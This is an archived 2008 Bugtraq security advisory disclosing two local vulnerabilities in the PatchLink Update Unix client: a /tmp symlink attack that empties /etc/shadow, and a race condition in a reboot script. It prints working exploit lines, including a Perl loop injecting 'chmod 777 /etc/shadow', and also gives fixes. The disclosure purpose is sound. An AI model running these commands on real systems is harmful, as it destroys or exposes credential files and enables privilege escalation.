lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: 25 Jan 2008 20:29:30 -0000
From: lcashdol@...il.com
To: bugtraq@...urityfocus.com
Subject: Two vulnerabilities for PatchLink Update Client for Unix.


PatchLink Update Unix Client File clobbering vulnerability

Larry W. Cashdollar

Vapid Labs

1/17/2008

Overview From the vendor:

“PatchLink Update™ provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats.”

http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443

Vulnerability

The log rotation utility “logtrimmer” utilizes space in /tmp improperly and is subject to a symlink attack. By creating a targeted symlink a non root user can clobber root owned files causing DoS.

Exploit

nobody:/tmp> ln -s /etc/shadow patchlink.tmp

After logs are rotated

/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after the log rotation process has finished.


Fix

Create a subdirectory under /tmp or /var/tmp to work from.

For example adding:

mkdir /var/tmp/plink
chmod 700 /var/tmp/plink
 
Second Vulnerability:


The script rebootTask contains the following lines for HP-UX Shutdown and reboot:

 echo "shutdown -r -y 120" > /tmp/plshutdown
    chmod 500 /tmp/plshutdown
    at now < /tmp/plshutdown

A race condition exists where a local user could symlink /tmp/plshutdown to a file in their home directory and inject malicous code. This could be done possibly by continuously writing to the file while waiting for the at command to run.

$ ln -s /tmp/plshutdown /var/tmp/runme

#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;
}

Also could be fixed by creating a subdirectory to work from under /var/tmp or /tmp.


http://vapid.dhs.org

Powered by blists - more mailing lists